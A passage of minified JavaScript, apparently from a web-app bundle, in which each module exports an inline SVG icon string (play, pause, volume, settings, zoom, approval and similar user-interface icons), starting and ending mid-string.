xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M19.684 5.82098L10.684 2.54898C10.071 2.32598 9.387 2.41498 8.853 2.78998C8.318 3.16298 8 3.77498 8 4.42798V10.557C7.409 10.212 6.731 9.99998 6 9.99998C3.794 9.99998 2 11.794 2 14C2 16.206 3.794 18 6 18C8.206 18 10 16.206 10 14V4.42798L19 7.69998V14.556C18.409 14.212 17.731 14 17 14C14.794 14 13 15.794 13 18C13 20.206 14.794 22 17 22C19.206 22 21 20.206 21 18V7.69998C21 6.86198 20.471 6.10598 19.684 5.82098ZM6 16C4.897 16 4 15.103 4 14C4 12.897 4.897 12 6 12C7.103 12 8 12.897 8 14C8 15.103 7.103 16 6 16ZM17 20C15.897 20 15 19.103 15 18C15 16.897 15.897 16 17 16C18.103 16 19 16.897 19 18C19 19.103 18.103 20 17 20Z" fill="#484848"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m3 13v-2h14v2zm4 4v-2h14v2zm0 4v-2h14v2zm0-14h14v2h-14zm-4-4h14v2h-14z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5h1.77c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8zm-5.5 9c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5zm3-4c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5zm5 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5zm3 4c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m23 5.5v14.5c0 2.2-1.8 4-4 4h-7.3c-1.08 0-2.1-.43-2.85-1.19l-7.85-7.98s1.26-1.23 1.3-1.25c.22-.19.49-.29.79-.29.22 0 .42.06.6.16.04.01 4.31 2.46 4.31 2.46v-11.91c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v7h1v-9.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v9.5h1v-8.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v8.5h1v-5.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M7 5.75C7 5.47386 7.22386 5.25 7.5 5.25H10.5C10.7761 5.25 11 5.47386 11 5.75V18.25C11 18.5261 10.7761 18.75 10.5 18.75H7.5C7.22386 18.75 7 18.5261 7 18.25V5.75Z" fill="#868E96"></path><path d="M13 5.75C13 5.47386 13.2239 5.25 13.5 5.25H16.5C16.7761 5.25 17 5.47386 17 5.75V18.25C17 18.5261 16.7761 18.75 16.5 18.75H13.5C13.2239 18.75 13 18.5261 13 18.25V5.75Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m12 4c-4.41333333 0-8 3.58666667-8 8 0 4.4133333 3.58666667 8 8 8 4.4133333 0 8-3.5866667 8-8 0-4.41333333-3.5866667-8-8-8z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M18.1895 11.1653C18.7884 11.5606 18.7884 12.4393 18.1895 12.8346L8.50495 19.2264C7.8401 19.6652 6.9541 19.1884 6.9541 18.3918L6.9541 5.60811C6.9541 4.81151 7.84009 4.3347 8.50494 4.7735L18.1895 11.1653Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C6.486 2 2 6.486 2 12C2 17.514 6.486 22 12 22C17.514 22 22 17.514 22 12C22 6.486 17.514 2 12 2ZM12 20C7.589 20 4 16.411 4 12C4 7.589 7.589 4 12 4C16.411 4 20 7.589 20 12C20 16.411 16.411 20 12 20Z" fill="#484848"></path><path d="M9 17L17 12L9 7V17Z" fill="#484848"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m7.11 8.53-1.41-1.42c-.9 1.16-1.46 2.5-1.63 3.89h2.02c.14-.87.49-1.72 1.02-2.47zm-1.02 4.47h-2.02c.17 1.39.72 2.73 1.62 3.89l1.41-1.42c-.52-.75-.87-1.59-1.01-2.47zm1.01 5.32c1.16.9 2.51 1.44 3.9 1.61v-2.03c-.87-.15-1.71-.49-2.46-1.03zm5.9-14.25v-3.07l-4.55 4.55 4.55 4.45v-3.91c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m15.55 5.55-4.55-4.55v3.07c-3.94.49-7 3.85-7 7.93s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91v3.91zm4.38 5.45c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zm-6.93 6.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03zm3.89-2.42 1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m15.5 14h-.79l-.28-.27c.98-1.14 1.57-2.62 1.57-4.23 0-3.59-2.91-6.5-6.5-6.5s-6.5 2.91-6.5 6.5 2.91 6.5 6.5 6.5c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99 1.49-1.49zm-6 0c-2.49 0-4.5-2.01-4.5-4.5s2.01-4.5 4.5-4.5 4.5 2.01 4.5 4.5-2.01 4.5-4.5 4.5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m10.314997 14.1097181-3.10191769-.0150391c-.14580656-.0010433-.28962115-.0339596-.42136544-.0964422-.49900706-.2366652-.71167717-.8330454-.475012-1.3320524l4.78752513-10.09446718c.0995136-.20982395.2689515-.37847202.4792381-.47700427.5001074-.23433112 1.0954874-.01887692 1.3298186.48123043l4.7618949 10.16279272c.0632461.1349793.0955164.2823905.0944499.4314488-.0039515.5522706-.4548585.9967711-1.0071292.9928196l-3.1442014-.0153416v7.5319189c0 .5515432-.4454773.9970205-.9970206.9970205h-1.3092597c-.5515433 0-.9970206-.4454773-.9970206-.9970205z" transform="matrix(.93969262 -.34202014 .34202014 .93969262 -3.496571 4.846563)"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m18 18v-3h2v3h3v2h-3v3h-2v-3h-3v-2zm-14 2v-2h2v2zm0-3.5v-2h2v2zm0-3.5v-2h2v2zm0-3.5v-2h2v2zm0-3.5v-2h2v2zm3.5 0v-2h2v2zm3.5 0v-2h2v2zm0 14v-2h2v2zm3.5-14v-2h2v2zm3.5 0v-2h2v2zm0 7v-2h2v2zm0-3.5v-2h2v2zm-10.5 10.5v-2h2v2z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 24 24" version="1.1"><g id="surface1"><path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 11.34375 4.0625 C 11.035156 4.128906 10.570312 4.390625 8.0625 5.925781 L 5.359375 7.585938 L 3.863281 7.609375 C 2.226562 7.632812 2.058594 7.65625 1.539062 7.929688 C 0.882812 8.277344 0.355469 8.890625 0.136719 9.570312 C 0.0234375 9.914062 0.0234375 9.921875 0.0234375 12.023438 L 0.0234375 14.132812 L 0.144531 14.46875 C 0.398438 15.15625 0.867188 15.703125 1.5 16.046875 C 2.058594 16.351562 2.199219 16.367188 3.863281 16.390625 L 5.359375 16.414062 L 8.0625 18.074219 C 9.546875 18.984375 10.878906 19.777344 11.019531 19.832031 C 11.226562 19.921875 11.367188 19.941406 11.765625 19.941406 C 12.230469 19.945312 12.277344 19.9375 12.570312 19.789062 C 12.917969 19.621094 13.199219 19.339844 13.359375 19.003906 C 13.597656 18.511719 13.59375 18.75 13.59375 12 C 13.59375 5.039062 13.609375 5.398438 13.296875 4.878906 C 13.109375 4.570312 12.851562 4.335938 12.515625 4.179688 C 12.3125 4.082031 12.171875 4.058594 11.859375 4.050781 C 11.640625 4.046875 11.410156 4.050781 11.34375 4.0625 Z M 11.71875 12.003906 C 11.71875 17.164062 11.710938 18.050781 11.652344 18.03125 C 11.617188 18.019531 10.292969 17.210938 8.714844 16.246094 L 5.835938 14.484375 L 4.226562 14.484375 C 2.726562 14.484375 2.609375 14.480469 2.441406 14.394531 C 2.207031 14.273438 1.988281 14.015625 1.925781 13.796875 C 1.859375 13.554688 1.859375 10.445312 1.925781 10.203125 C 1.988281 9.984375 2.207031 9.726562 2.441406 9.605469 C 2.609375 9.519531 2.726562 9.515625 4.226562 9.515625 L 5.835938 9.515625 L 8.742188 7.734375 C 10.339844 6.753906 11.664062 5.953125 11.6875 5.953125 C 11.703125 5.953125 11.71875 8.675781 11.71875 12.003906 Z M 11.71875 12.003906 "></path><path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 20.085938 4.402344 C 19.984375 4.449219 19.785156 4.601562 19.65625 4.75 C 19.421875 4.996094 19.40625 5.019531 19.40625 5.265625 C 19.40625 5.558594 19.429688 5.597656 20.007812 6.242188 C 21.027344 7.382812 21.726562 8.804688 22.035156 10.359375 C 22.128906 10.8125 22.144531 11.054688 22.148438 11.859375 C 22.148438 12.890625 22.117188 13.175781 21.886719 14.054688 C 21.515625 15.460938 20.8125 16.710938 19.773438 17.789062 C 19.222656 18.359375 19.191406 18.652344 19.609375 19.109375 C 19.878906 19.40625 20.058594 19.5 20.359375 19.5 C 20.625 19.5 20.84375 19.351562 21.285156 18.867188 C 23.132812 16.835938 24.089844 14.234375 23.984375 11.53125 C 23.925781 9.992188 23.605469 8.699219 22.941406 7.335938 C 22.351562 6.117188 21.085938 4.492188 20.625 4.359375 C 20.398438 4.292969 20.300781 4.304688 20.085938 4.402344 Z M 20.085938 4.402344 "></path><path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 17.585938 6.847656 C 17.328125 6.976562 16.976562 7.367188 16.941406 7.570312 C 16.890625 7.84375 16.960938 7.996094 17.324219 8.398438 C 17.9375 9.078125 18.300781 9.707031 18.535156 10.503906 C 18.886719 11.722656 18.769531 12.988281 18.195312 14.132812 C 17.96875 14.597656 17.722656 14.945312 17.320312 15.371094 C 16.925781 15.796875 16.828125 16.007812 16.917969 16.28125 C 16.992188 16.507812 17.304688 16.847656 17.546875 16.964844 C 17.960938 17.164062 18.300781 17.054688 18.730469 16.566406 C 19.8125 15.347656 20.394531 14.011719 20.53125 12.445312 C 20.695312 10.554688 20.023438 8.605469 18.75 7.25 C 18.261719 6.730469 18.003906 6.640625 17.585938 6.847656 Z M 17.585938 6.847656 "></path><path style=" stroke:none;fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 15.445312 8.992188 C 15.34375 9.042969 15.136719 9.210938 14.992188 9.367188 C 14.757812 9.609375 14.71875 9.675781 14.71875 9.828125 C 14.71875 10.039062 14.785156 10.148438 15.121094 10.5 C 15.445312 10.835938 15.652344 11.273438 15.6875 11.703125 C 15.742188 12.328125 15.539062 12.851562 15.066406 13.34375 C 14.601562 13.828125 14.59375 14.042969 15.007812 14.476562 C 15.285156 14.757812 15.417969 14.835938 15.664062 14.882812 C 16.007812 14.949219 16.320312 14.757812 16.707031 14.253906 C 17.792969 12.84375 17.796875 10.953125 16.71875 9.542969 C 16.367188 9.078125 16.179688 8.9375 15.882812 8.921875 C 15.707031 8.90625 15.578125 8.929688 15.445312 8.992188 Z M 15.445312 8.992188 "></path></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m6 2h12c1.1000004 0 2 .9000001 2 2v16c0 1.1-.9 2-2 2h-12.01c-1.1 0-1.99-.9-1.99-2v-16c0-1.1.9-2 2-2zm1 15v1.5h10v-1.5zm0-4v1.5h10v-1.5zm7-4v1.5h3v-1.5zm0-3.5v1.5h3v-1.5zm-7 0v5h4.5v-5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m4 8h4v-4h-4zm6 12h4v-4h-4zm-6 0h4v-4h-4zm0-6h4v-4h-4zm6 0h4v-4h-4zm6-10v4h4v-4zm-6 4h4v-4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 24 24"><defs><path id="a" d="M0 0h24v24H0z"></path></defs><clipPath id="b"><use xlink:href="#a" overflow="visible"></use></clipPath><path clip-path="url(#b)" d="M15 3l2.3 2.3-2.89 2.87 1.42 1.42L18.7 6.7 21 9V3zM3 9l2.3-2.3 2.87 2.89 1.42-1.42L6.7 5.3 9 3H3zm6 12l-2.3-2.3 2.89-2.87-1.42-1.42L5.3 17.3 3 15v6zm12-6l-2.3 2.3-2.87-2.89-1.42 1.42 2.89 2.87L15 21h6z"></path><path clip-path="url(#b)" fill="none" d="M0 0h24v24H0z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m6 12c-1.1 0-1.99.9-1.99 2l-.00501159 8h15.99501159v-4l-6-6zm7 7v-5.5l5.5 5.5zm-8.99628724-17h15.99628724v6c0 1.1-.9 2-2 2h-12.01c-1.1 0-1.99-.9-1.99-2z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m14.25 5.75c-.6875 0-1.24375.5625-1.24375 1.25l-.00625 10c0 .6875.55625 1.25 1.24375 1.25h7.50625c.6875 0 1.25-.5625 1.25-1.25v-7.5l-3.75-3.75zm-5.56977981 1.43022019.91575059.91575059-.9375.9375-.91575059-.91575059zm-.88388348-.88388348-.9375.9375-.23383671-.23383671h-4.375v10h7.5v-6.875l-.20764574-.20764574.93750004-.9375.5201457.52014574v.625h-1.25v1.25h1.25v1.25h-1.25v1.25h1.25v1.25h-1.25v1.25h1.25v.625c0 .6875-.5625 1.25-1.25 1.25h-.625v-1.25h-1.25v1.25h-1.25v-1.25h-1.25v1.25h-1.25v-1.25h-1.25v1.25h-.63125c-.6875 0-1.24375-.5625-1.24375-1.25l.00039063-.625h1.24960937v-1.25h-1.24882812l.00078124-1.25h1.24804688v-1.25h-1.24726563l.00078125-1.25h1.24648438v-1.25h-1.24570313l.00078125-1.25h1.24492188v-1.25h-1.24414063l.00039063-.625c0-.6875.55625-1.25 1.24375-1.25h.625v1.25h1.25v-1.25h1.25v1.25h1.25v-1.25h.625zm10.82866329 3.82866329v-3.4375l3.4375 3.4375z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m2.25 5.75h5l3.75 3.75v7.5c0 .6875-.5625 1.25-1.25 1.25h-7.50625c-.6875 0-1.24375-.5625-1.24375-1.25l.00625-10c0-.6875.55625-1.25 1.24375-1.25zm4.375 4.375h3.4375l-3.4375-3.4375zm7.625-4.375h5l3.75 3.75v7.5c0 .6875-.5625 1.25-1.25 1.25h-7.50625c-.6875 0-1.24375-.5625-1.24375-1.25l.00625-10c0-.6875.55625-1.25 1.24375-1.25zm4.375 4.375h3.4375l-3.4375-3.4375z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m4 19h12v-2h-12zm0-4h16v-2h-16zm0-4h16v-2h-16zm0-4h16v-2h-16z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m6 2c-1.1 0-1.99.9-1.99 2l-.01 16c0 1.1.89 2 1.99 2h12.01c1.1 0 2-.9 2-2v-12l-6-6zm7 7v-5.5l5.5 5.5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.12-.22-.39-.3-.61-.22l-2.49 1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65c-.03-.24-.24-.42-.49-.42h-4c-.25 0-.46.18-.49.42l-.38 2.65c-.61.25-1.17.59-1.69.98l-2.49-1c-.23-.09-.49 0-.61.22l-2 3.46c-.13.22-.07.49.12.64l2.11 1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 3.46c.12.22.39.3.61.22l2.49-1c.52.4 1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49 1c.23.09.49 0 .61-.22l2-3.46c.12-.22.07-.49-.12-.64zm-7.43 2.52c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16 21C19.527 19.453 21.999 16.091 21.999 12C21.999 7.909 19.527 4.547 16 3V5C18.387 6.386 19.999 9.047 19.999 12C19.999 14.953 18.387 17.614 16 19V21Z" fill="#484848"></path><path d="M16 7V17C17.225 15.9 18 13.771 18 12C18 10.229 17.225 8.1 16 7ZM4 17H6.697L12.445 20.832C12.612 20.943 12.806 21 13 21C13.162 21 13.324 20.961 13.472 20.882C13.797 20.708 14 20.369 14 20V4C14 3.631 13.797 3.292 13.472 3.118C13.148 2.943 12.752 2.964 12.446 3.168L6.697 7H4C2.897 7 2 7.897 2 9V15C2 16.103 2.897 17 4 17ZM4 9H7C7.033 9 7.061 8.984 7.093 8.981C7.157 8.975 7.218 8.961 7.281 8.943C7.349 8.922 7.412 8.898 7.473 8.865C7.499 8.85 7.53 8.848 7.555 8.832L12 5.868V18.132L7.555 15.168C7.53 15.151 7.499 15.148 7.473 15.135C7.412 15.102 7.35 15.077 7.283 15.057C7.219 15.038 7.157 15.025 7.091 15.019C7.059 15.016 7.032 15 7 15H4V9Z" fill="#484848"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m13 7h-2v4h-4v2h4v4h2v-4h4v-2h-4zm-1-5c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m7 11v2h10v-2zm5-9c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z"></path></svg>'},function(e,t){e.exports='<svg data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#868e96;}</style></defs><path class="cls-1" d="M11.08,18.42h1.84v2.75H11.08ZM16.59,12A4.59,4.59,0,1,1,12,7.41,4.6,4.6,0,0,1,16.59,12Zm-1.83,0A2.76,2.76,0,1,0,12,14.76,2.77,2.77,0,0,0,14.76,12Zm3.66-.92v1.84h2.75V11.08Zm-12.84,0H2.83v1.84H5.58Zm7.34-8.25H11.08V5.58h1.84Zm-8,15,1.3,1.3,1.94-1.95-1.3-1.29ZM19.13,6.17l-1.3-1.3L15.89,6.81l1.3,1.3Zm-11,.65L6.17,4.87l-1.3,1.3,2,1.94Zm7.78,10.36,1.94,1.95,1.3-1.3-1.95-1.94Z"></path></svg>'},function(e,t){e.exports='<svg data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#868e96;}</style></defs><path class="cls-1" d="M18.65,5.66a.93.93,0,0,0,.45-.8.91.91,0,0,0-.45-.79,9.17,9.17,0,1,0,0,15.86.91.91,0,0,0,.45-.79.93.93,0,0,0-.45-.8,7.31,7.31,0,0,1,0-12.68ZM13.15,12a9.21,9.21,0,0,0,3.21,7,7.19,7.19,0,0,1-2.3.37,7.33,7.33,0,0,1,0-14.66,7.19,7.19,0,0,1,2.3.37A9.21,9.21,0,0,0,13.15,12Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - select - line</title><path class="cls-1" d="M21.56,15.57l-2.12-2.49L18.33,11.7l1.38-1.11,1.37-1.11a.81.81,0,0,0,.34-.84c-.08-.39-.32-.54-.68-.7l-11-2.7c-.62-.06-1.17.38-1.1.89V17.7a.8.8,0,0,0,.54.81.72.72,0,0,0,.9-.15l1.38-1.11,1.37-1.11,1.67,2.06L16.05,20a1.67,1.67,0,0,0,2.49.27l2.75-2.22A1.66,1.66,0,0,0,21.56,15.57Zm-3.84,3-1.46-1.67L14,14.13l-.67-.7-1,.78-1.79,1.44v-8l7.73,1.71-1.66,1.46-1,.77,2.21,2.76,2.14,2.36ZM5.37,5.24V18.86h.25a.92.92,0,0,1,1,1,.89.89,0,0,1-.87,1H3a.92.92,0,0,1-1-1,1,1,0,0,1,1-1h.38V5.24H3a.92.92,0,0,1-1-1,1,1,0,0,1,1-1H5.62a.92.92,0,0,1,1,1,.89.89,0,0,1-.87,1Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;fill-rule:evenodd;}</style></defs><title>icon - tool - pen and shape - phone</title><path class="cls-1" d="M16,13a4.09,4.09,0,1,0,4.08,4.08A4.09,4.09,0,0,0,16,13Zm0,6.37a2.29,2.29,0,1,1,2.28-2.29A2.29,2.29,0,0,1,16,19.35ZM18.57,2.86H13.49A1.69,1.69,0,0,0,11.8,4.54V10.1a1.69,1.69,0,0,0,1.69,1.68h5.08a1.68,1.68,0,0,0,1.68-1.68V4.54A1.68,1.68,0,0,0,18.57,2.86ZM18.45,10H13.6V4.66h4.85ZM8,2.85H5.78a2.19,2.19,0,0,0-1.43.6,2,2,0,0,0-.6,1.43V16.64a.72.72,0,0,0,.12.48s2.21,3.42,2.38,3.58a.9.9,0,0,0,.57.39c.25,0,.39-.05.6-.37l2.52-3.6c.12-.12.12-.24.12-.48V4.88A2.1,2.1,0,0,0,8,2.85Zm.23,12.89H5.56V9.24H8.25Zm0-8.29H5.56V4.69H8.25Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#868e96;}</style></defs><path class="cls-1" d="M17.83,2.83H6.17A1.67,1.67,0,0,0,4.5,4.5v15a1.67,1.67,0,0,0,1.67,1.67H17.83A1.67,1.67,0,0,0,19.5,19.5V4.5A1.67,1.67,0,0,0,17.83,2.83ZM6.17,19.5V4.5H17.83v15Z"></path><path class="cls-1" d="M12.83,6.19h-5V17.81h8.34V6.19H12.83Zm1.78,4.15L13,12l1.65,1.66a.36.36,0,0,1,0,.52l-.43.44a.37.37,0,0,1-.52,0L12,13l-1.66,1.66a.37.37,0,0,1-.52,0l-.44-.44a.37.37,0,0,1,0-.52L11,12,9.38,10.34a.37.37,0,0,1,0-.52l.44-.43a.36.36,0,0,1,.52,0L12,11l1.66-1.65a.36.36,0,0,1,.52,0l.43.43A.36.36,0,0,1,14.61,10.34Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#868e96;}</style></defs><path class="cls-1" d="M16.09,16.8,15,15.71l1.09-1.09a.28.28,0,0,0,0-.38l-.58-.58a.26.26,0,0,0-.38,0L14,14.75,13,13.66a.26.26,0,0,0-.38,0l-.58.58a.28.28,0,0,0,0,.38l1.09,1.09L12,16.8a.28.28,0,0,0,0,.38l.58.57a.26.26,0,0,0,.38,0L14,16.66l1.09,1.09a.26.26,0,0,0,.38,0l.58-.57A.28.28,0,0,0,16.09,16.8Z"></path><path class="cls-1" d="M17.83,2.83H6.17A1.67,1.67,0,0,0,4.5,4.5v15a1.67,1.67,0,0,0,1.67,1.67H17.83A1.67,1.67,0,0,0,19.5,19.5V4.5A1.67,1.67,0,0,0,17.83,2.83ZM6.17,19.5V4.5H17.83v15Z"></path><rect class="cls-1" x="7.84" y="10.66" width="8.33" height="1.8"></rect><rect class="cls-1" x="7.84" y="6.61" width="8.33" height="1.8"></rect><rect class="cls-1" x="7.83" y="14.83" width="2.96" height="1.8"></rect></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tools - more</title><g><path class="cls-1" d="M12,14.5A2.5,2.5,0,1,1,14.5,12,2.51,2.51,0,0,1,12,14.5Zm2.5-10A2.5,2.5,0,1,0,12,7,2.51,2.51,0,0,0,14.5,4.5Zm0,15A2.5,2.5,0,1,0,12,22,2.51,2.51,0,0,0,14.5,19.5Z"></path></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 20 19" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / approved line</title><desc>Created with Sketch.</desc><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g transform="translate(-132.000000, -179.000000)" fill="#239700"><g transform="translate(130.000000, 176.000000)"><path d="M20,9 L14.388,9 L15.511,5.633 C15.713,5.025 15.611,4.351 15.236,3.831 C14.861,3.311 14.253,3 13.612,3 L12,3 C11.703,3 11.422,3.132 11.231,3.36 L6.531,9 L4,9 C2.897,9 2,9.897 2,11 L2,20 C2,21.103 2.897,22 4,22 L7,22 L17.307,22 C18.136,22 18.888,21.479 19.18,20.702 L21.937,13.351 C21.979,13.239 22,13.12 22,13 L22,11 C22,9.897 21.103,9 20,9 Z M4,11 L6,11 L6,20 L4,20 L4,11 Z M20,12.819 L17.307,20 L8,20 L8,10.362 L12.468,5 L13.614,5 L12.052,9.683 C11.949,9.988 12.001,10.323 12.189,10.584 C12.377,10.846 12.679,11 13,11 L20,11 L20,12.819 Z"></path></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 20 20" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon / cancelled / line</title><desc>Created with Sketch.</desc><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g transform="translate(-170.000000, -178.000000)"><g transform="translate(168.000000, 